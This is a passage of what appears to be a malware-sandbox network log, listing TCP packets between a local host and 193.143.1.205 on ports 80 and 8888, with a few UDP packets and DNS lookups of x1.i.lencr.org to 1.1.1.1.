Jan 10, 2025 20:06:47.852659941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852659941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.852672100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852680922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.852710009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.852854967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.853002071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.853013039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.853024006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.853034019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.853046894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.853058100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.853065014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.853070021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.853082895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.853091002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.853094101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.853106976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.853107929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.853131056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.880496025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.880520105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.880528927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.880589008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.880623102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.880635977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.880649090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.880661011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.880680084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.880685091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.880698919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.880707979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.880721092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.880740881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.880951881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.880964041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.880975008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.880985975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.880991936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.880997896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881021976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.881053925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881078005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881092072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881093979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.881105900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881119013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881122112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.881133080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881150961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.881385088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881405115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881417990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881424904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.881429911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881444931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881453037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.881455898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881477118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.881505013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881515980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881529093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881544113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.881560087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.881710052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881721020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881731987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881745100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881750107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.881757975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881769896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881781101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881789923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.881794930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881803989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.881808043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881822109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881831884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.881866932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.881930113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.881973028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.882004976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.888111115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.899559021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.899571896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.899581909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.899641991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.900167942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.906125069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.906143904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.906155109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.906160116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.906172037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.906183004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.906193972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.906199932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.906248093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.932569027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.932585001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.932596922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.932672024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.943552971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.943602085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.943612099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.943623066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.943634033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.943648100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.943655014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.943737984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.943737984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.943770885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.943782091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.943803072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.943815947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.943823099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.943834066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.943846941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.943880081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.943903923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.943913937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.943922997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.943932056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.943942070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.943974018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.943983078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.943983078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.944025040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.944287062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944298983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944309950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944335938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944345951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944355011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944374084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.944374084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.944407940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.944463968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944473982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944483042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944493055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944502115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.944530010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.944556952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944569111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944578886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944591045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944610119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944618940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.944619894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944641113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.944667101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.944698095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944715023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944725037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944778919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.944813967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944830894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944843054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944853067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944854021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.944860935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.944905996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.944988966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945009947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945027113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945039034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945053101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945054054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.945081949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.945110083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945142984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945148945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.945154905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945167065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945184946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.945198059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945209980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945218086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945245028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.945272923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.945513010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945529938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945544004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945555925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945566893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945574045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.945579052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945591927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945596933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.945602894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945616007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945619106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.945627928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945637941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.945669889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.945724964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945736885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945748091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.945770025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.947613955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.979836941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.979863882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.979876995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.979890108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.979892015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.979902983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.979914904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.979927063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.979938030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.979950905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.979974985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.979990005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.979996920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.979996920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.979996920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.979996920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.980010033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980022907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980032921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.980035067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980051041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980067015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.980087996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980101109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980103970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.980132103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.980135918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980149984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980160952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980174065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980185986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.980207920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.980330944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980400085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980411053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980422974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980434895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980438948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.980448008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980460882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.980470896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980489016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.980547905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980560064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980590105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.980633020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980645895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980658054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980669975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.980673075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980684996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980694056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.980700016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980720043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.980876923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980887890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980902910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980907917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.980916977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.980938911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.984622955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.991859913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.991884947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.991899967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.991910934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.991923094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.991924047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.991941929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.991944075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.991961002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.991964102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.991971970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.992006063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.998303890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.998318911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.998338938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.998351097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.998358011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.998370886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.998379946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.998392105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.998404980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.998414040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.998418093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.998435974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:48.025564909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:48.036079884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036098957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036111116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036122084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036134958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036145926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036158085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036180019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:48.036222935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:48.036227942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036274910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036286116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036295891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036307096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036324024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:48.036330938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036345005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036346912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:48.036366940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:48.036731005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036744118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036753893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036775112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:48.036798000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:48.036809921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036820889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036838055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036856890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036856890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:48.036868095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036880970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036892891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:48.036895037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:48.036916971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:48.037923098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:48.050404072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:48.194041014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:49.160218000 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:49.165091038 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:49.165191889 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:49.165416956 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:49.170277119 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:49.941219091 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:49.993741989 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:50.591259003 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:07:02.094011068 CET	52450	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:07:15.641963959 CET	58517	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:07:27.954746008 CET	65269	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:07:02.094011068 CET	192.168.2.5	1.1.1.1	0x89de	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:07:15.641963959 CET	192.168.2.5	1.1.1.1	0xfad4	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
